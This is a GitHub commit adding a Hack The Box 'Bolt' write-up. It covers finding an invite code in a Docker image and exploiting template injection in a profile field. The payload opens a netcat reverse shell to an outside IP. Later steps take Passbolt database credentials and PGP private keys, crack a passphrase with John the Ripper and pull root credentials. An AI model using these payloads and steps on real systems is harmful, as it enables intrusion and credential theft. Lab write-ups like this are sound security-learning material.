Skip to content

Commit 4a8db9c

Browse files
sadeli413sadeli413
authored and
sadeli413
committedFeb 23, 2022
Add Bolt writeup
1 parent 48428d2 commit 4a8db9c

39 files changed

+125
-0
lines changed
 

‎bolt/README.md

+125
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,125 @@
1+
# HACKTHEBOX: Bolt
2+
Bolt is a medium difficulty box. It involves downloading a docker container image from `http://bolt.htb` containing source code with a hard-coded invite link to create an account on `http://demo.bolt.htb` and `mail.bolt.htb`. The source code also shows that the web application may be vulnerable to SSTI.
3+
After creating an account, an attacker can exploit the SSTI vulnerability on the demo server's *update user profile* page to gain access to the box.
4+
The user has a Passbolt account with private PGP keys. After obtaining the PGP keys, an attacker can obtain credentials for root by accessing the Passbolt password manager on `http://passbolt.bolt.htb`.
5+
6+
## Recon and Enumeration
7+
An initial nmap scan shows the hostname `passbolt.bolt.htb`. Add `bolt.htb` and `passbolt.bolt.htb` to `/etc/hosts`.
8+
![nmap scan](screenshots/nmap.png)
9+
10+
Visiting `http://bolt.htb` brings a user to this page.
11+
![bolt.htb page](screenshots/bolt.png)
12+
13+
The Downloads page of the site shows a download for a docker container image.
14+
![docker image download](screenshots/dockerimage.png)
15+
16+
![image.tar contents](screenshots/imagecontents.png)
17+
18+
Each folder has a tarball. After digging through and extracting these tarballs, there is some interesting information, but we'll come back to that later.
19+
20+
Use ffuf to discover virtual hosts. The names `demo.bolt.htb` and `mail.bolt.htb` were found.
21+
![ffuf output](screenshots/bolt_ffuf.png)
22+
23+
##### Creating an account on demo.bolt.htb
24+
Visiting the demo page automatically redirects to login with an option to create an account. `http://demo.bolt.htb/register` prompts a user to provide a username, password, email, and an *invite code*.
25+
![login](screenshots/login.png)
26+
![register](screenshots/register.png)
27+
28+
Run `grep -r 'invite'` to search for any invite codes in the docker container image. There are two python files: `forms.py` and `routes.py`.
29+
![grep invite](screenshots/grep_invite.png)
30+
31+
After looking at both, we find that the invite code is hard-coded in the file `41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/routes.py`.
32+
![invite code](screenshots/invitecode.png)
33+
34+
Create an account using the invite code `XNSS-HSJW-3NGU-8XTJ`.
35+
![registration](screenshots/registration.png)
36+
37+
After account creation, you can sign in to both `demo.bolt.htb` and `mail.bolt.htb` with the creds created on registration.
38+
![signin](screenshots/signin.png)
39+
40+
##### Reviewing source code and discovering potential SSTI
41+
42+
After reading the source code, the directory `app/base` contains the contents of the login pages, while the sibling directory `app/home` contains the source of a regular user's profile page.
43+
![routes](screenshots/routes.png)
44+
45+
After looking at the sibling source code, `41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/home/routes.py` contains some interesting functionality. The function `profile` allows a user to input name, experience, and skills, then sends the user an email with the subject "Please confirm profile changes".
46+
![profile](screenshots/profile.png)
47+
Next, the function `confirm_changes` may be vulnerable to SSTI because it uses the `render_template_string` function on the variable *name* which may or may not be validated/sanitized.
48+
![render template string](screenshots/render_template_string.png)
49+
50+
As an alternative to an extensive source code review, it may be a good idea to simply grep for the potentially dangerous function `render_template_string` to search for any possibilities of SSTI. Running the command `grep -r 'render_template_string'` shows that there is only `41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/home/routes.py` calls the function.
51+
![grep ssti](screenshots/grep_ssti.png)
52+
53+
## Exploitation and user.txt
54+
The vulnerable form is in the `name` parameter in the settings tab of `http://demo.bolt.htb/admin/profile` and this can be tested with a simple `{{7*7}}` payload.
55+
![ssti poc](screenshots/ssti_test.png)
56+
57+
After submitting, confirm the action with an email verification at `http://mail.bolt.htb` and we can see the payload successfully evaluated to `49`.
58+
![email verification](screenshots/verification.png)
59+
![successful ssti test](screenshots/success_test.png)
60+
61+
PayloadsAllTheThings has a nice list of SSTI payloads. We can abuse SSTI to get remote code execution and a reverse shell.
62+
![ssti payload template](screenshots/ssti_payload.png)
63+
64+
Using this ssti template, craft a payload to replace `id` with a netcat reverse shell: \
65+
`{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.32 9001 >/tmp/f').read() }}`
66+
![ssti exploit](screenshots/exploit.gif)
67+
68+
Next, Upgrade the shell with
69+
```
70+
$ python -c "__import__('pty').spawn('/bin/bash')"
71+
CTRL-Z
72+
stty -echo raw
73+
fg
74+
export TERM=linux
75+
www-data@bolt:~/demo$
76+
```
77+
![shell upgrade](screenshots/shell.png)
78+
79+
Earlier in the initial recon stages, we discovered a passbolt server, which is a password manager. Passbolt happens to store cleartext database credentials in the file `/etc/passbolt/passbolt.php`
80+
![plaintext creds](screenshots/passbolt_creds.png)
81+
82+
We can also discover the passbolt server's public and private keys inside of `/etc/passbolt/gpg/`. Download these keys for later use.
83+
![server keys](screenshots/getkeys.png)
84+
85+
The passbolt credentials also happen to be the credentials for user `eddie`.
86+
![eddie](screenshots/eddie.png)
87+
88+
## Privilege Escalation and root.txt
89+
Eddie has email. The mail notes that the passbolt password manager has a web browser extension.
90+
![email](screenshots/mailforeddie.png)
91+
92+
After a quick google search, it turns out that passbolt has a cli to interact with the API https://github.com/passbolt/passbolt_cli. Passbolt CLI requires PGP keys for the client and the server. We already found the server PGP keys, now we need to search for eddie's PGP keys.
93+
94+
After running linpeas as Eddie, we find the location of google chrome's extension info.
95+
![linpeas](screenshots/linpeas.png)
96+
97+
A simple grep command reveals PGP keys in the file `/home/eddie/.config/google-chromeDefault/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log`
98+
![private key](screenshots/goturkeys.png)
99+
100+
Simply copy and paste the public and private PGP keys from this file.
101+
![copied](screenshots/privatekey_log.png)
102+
![got the keys](screenshots/allfour.png)
103+
104+
Now that we have retrieved the public and private keys for eddie and the server, we can run Passbolt CLI to retrieve creds.
105+
106+
Import the server keys into the GPG keyring.
107+
![import the server keys](screenshots/importserver.png)
108+
109+
Next, try to import Eddie's keys. Unfortunately, we need a passphrase to import the private key. Eddie's password found earlier does not work.
110+
![fail to import eddie keys](screenshots/importfail.png)
111+
112+
We can use John the Ripper to brute force the passphrase with the rockyou wordlist. The passphrase is `merrychristmas`.
113+
![john the ripper](screenshots/john.png)
114+
115+
We can finally import eddie's PGP keys.
116+
![imported eddie keys](screenshots/merrychristmas.png)
117+
118+
After importing the PGP keys, list the fingerprints with `gpg --list-keys`
119+
![fingerprints](screenshots/fingerprints.png)
120+
121+
Use these fingerprints to configure Passbolt CLI.
122+
![config](screenshots/config.png)
123+
124+
Passbolt is now configured, and you can now retrieve credentials from the passbolt server.
125+
![privesc](screenshots/privesc.gif)

‎bolt/screenshots/allfour.png

84.5 KB
Loading

‎bolt/screenshots/bolt.png

71.7 KB
Loading

‎bolt/screenshots/bolt_ffuf.png

85.5 KB
Loading

‎bolt/screenshots/config.png

66.9 KB
Loading

‎bolt/screenshots/demo_register.png

34.8 KB
Loading

‎bolt/screenshots/dockerimage.png

65.3 KB
Loading

‎bolt/screenshots/eddie.png

105 KB
Loading

‎bolt/screenshots/exploit.gif

512 KB
Loading

‎bolt/screenshots/fingerprints.png

61.5 KB
Loading

‎bolt/screenshots/getkeys.png

159 KB
Loading

‎bolt/screenshots/goturkeys.png

58.5 KB
Loading

‎bolt/screenshots/grep_invite.png

96.3 KB
Loading

‎bolt/screenshots/grep_ssti.png

117 KB
Loading

‎bolt/screenshots/imagecontents.png

106 KB
Loading

‎bolt/screenshots/importfail.png

71.3 KB
Loading

‎bolt/screenshots/importserver.png

83 KB
Loading

‎bolt/screenshots/inbox.png

59.3 KB
Loading

‎bolt/screenshots/invitecode.png

74.1 KB
Loading

‎bolt/screenshots/john.png

152 KB
Loading

‎bolt/screenshots/linpeas.png

247 KB
Loading

‎bolt/screenshots/login.png

27.6 KB
Loading

‎bolt/screenshots/mailforeddie.png

96.3 KB
Loading

‎bolt/screenshots/merrychristmas.png

50.6 KB
Loading

‎bolt/screenshots/nmap.png

124 KB
Loading

‎bolt/screenshots/passbolt_creds.png

52.8 KB
Loading

‎bolt/screenshots/privatekey_log.png

425 KB
Loading

‎bolt/screenshots/privesc.gif

789 KB
Loading

‎bolt/screenshots/profile.png

158 KB
Loading

‎bolt/screenshots/register.png

35.8 KB
Loading

‎bolt/screenshots/registration.png

37.3 KB
Loading
205 KB
Loading

‎bolt/screenshots/routes.png

71.3 KB
Loading

‎bolt/screenshots/shell.png

89.4 KB
Loading

‎bolt/screenshots/signin.png

40.1 KB
Loading

‎bolt/screenshots/ssti_payload.png

76.7 KB
Loading

‎bolt/screenshots/ssti_test.png

48.8 KB
Loading

‎bolt/screenshots/success_test.png

55.1 KB
Loading

‎bolt/screenshots/verification.png

59.9 KB
Loading

0 commit comments

Comments
 (0)
Please sign in to comment.